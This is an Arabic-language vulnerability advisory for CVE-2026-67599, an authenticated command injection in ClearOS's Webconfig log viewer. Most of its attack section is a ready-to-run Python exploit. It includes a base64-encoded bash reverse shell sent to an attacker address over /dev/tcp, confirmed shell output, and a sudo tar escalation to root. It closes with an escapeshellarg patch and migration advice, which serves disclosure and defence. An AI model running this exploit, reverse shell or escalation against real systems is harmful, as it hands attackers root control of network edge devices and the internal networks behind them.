
Authenticated Blind OS Command Injection in ClearOS
الحزمة: ClearFoundation
الإصدارات المختبرة: ClearOS 7.9.1.342252
نوع الثغرة: حقن أوامر نظام التشغيل (CWE-78)
الخطورة: عالية
CVE: CVE-2026-67599
متجه CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (النتيجة: 7.2)
شكرًا إلى VulnCheck للمساعدة في تعيين وتتبع CVE-2026-67599 بالنيابة عني.
ClearOS هو نظام تشغيل مبني على CentOS/RHEL مصمم ليعمل كبوابة شبكة، ومنصة إدارة التهديدات الموحدة (UTM)، وخادم حافة للمؤسسات الصغيرة والمتوسطة. يعمل بشكل أساسي كجهاز حافة، ويدير قواعد جدار الحماية، واتصالات VPN، والتوجيه، والبنية التحتية الأساسية للشبكة.
نظرًا لأن ClearOS يُنشر عند محيط الشبكة، فإن الواجهات الإدارية مثل Webconfig (المنفذ 81) غالبًا ما تكون مكشوفة لقطاعات الإدارة أو مباشرة للشبكات الخارجية. تسمح ثغرة تنفيذ الأوامر في هذه الواجهة للمهاجم باختراق البوابة، والحصول على موطئ قدم دائم على الحافة، والانتقال مباشرة إلى قطاعات الشبكة الداخلية.
/usr/clearos/apps/base/libraries/File.php — الأسطر 297، 314
يُمرَّر معامل filter المقدم إلى نقطة نهاية عارض السجلات (Log Viewer) دون تعقيم إلى أمر shell يتم إنشاؤه في File.php. تُضمَّن قيمة $regex مباشرة في سلسلة الأمر بدلاً من تمريرها كوسيطة مهربة بشكل صحيح، مما يسمح بحمولات استبدال الأوامر مثل $(...) أو تعبيرات backtick بالتنفيذ كمستخدم webconfig.
عثرت على هذا بالصدفة أثناء مهمة نشطة. إليك مولّد بسيط للأرتيفاكتات (Artifacts).
#!/usr/bin/python3
import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")
args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)
مثال على قشرة عكسية (المهاجم على .1، الهدف على .129):
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"
المخرجات المؤكدة:
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
يمكن تصعيد الامتيازات إلى root بسهولة عبر قواعد sudoers الافتراضية المتساهلة جدًا:
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy
User webconfig may run the following commands on server:
(root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
/usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
/usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
/usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
/usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
/usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
/bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
/usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
/usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
/usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
/usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
/usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
/bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
/usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
/sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname
في المثال أدناه، استخدام ثنائي tar لتصعيد الصلاحيات إلى root:
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
يؤدي وصول مستخدم واجهة ويب مصادق عليه إلى التقارير (Reports) إلى تنفيذ أوامر على مستوى نظام التشغيل بالكامل كمستخدم webconfig. في تثبيت ClearOS 7.9 الافتراضي، يُمنح webconfig صلاحيات sudo واسعة النطاق NOPASSWD، مما يسمح بالتصعيد الفوري إلى root دون بيانات اعتماد إضافية. يمكن للمهاجم تحقيق وصول root دائم إلى المضيف الأساسي، بما في ذلك جميع البيانات والخدمات وتكوينات الشبكة التي يديرها النظام.
وصل ClearOS إلى نهاية العمر. أحدث توزيعة لا تزال قابلة للتنزيل من clearos.com (الإصدار ClearOS-7.9.1.342252) يعود تاريخها إلى 13 أكتوبر 2021، ولا تتلقى أي صيانة أو تحديثات أمنية من المنبع.
لهذا السبب، إصلاح الكود أدناه هو مجرد ضمادة مؤقتة. تشغيل نظام تشغيل غير مُصان على محيط شبكتك هو بمثابة اللعب بالنار. المسار الموصى به بشدة للمضي قدمًا هو الترحيل من ClearOS بالكامل إلى جهاز حافة أو منصة UTM مدعومة.
إذا كنت مضطرًا لإبقاء هذا المضيف يعمل أثناء التخطيط للترحيل، فلفّ $regex في escapeshellarg() على الأسطر 297 و314 من /usr/clearos/apps/base/libraries/File.php للتغيير من:
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,
إلى:
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,
ثم أعد تشغيل خدمة webconfig:
sudo systemctl restart webconfig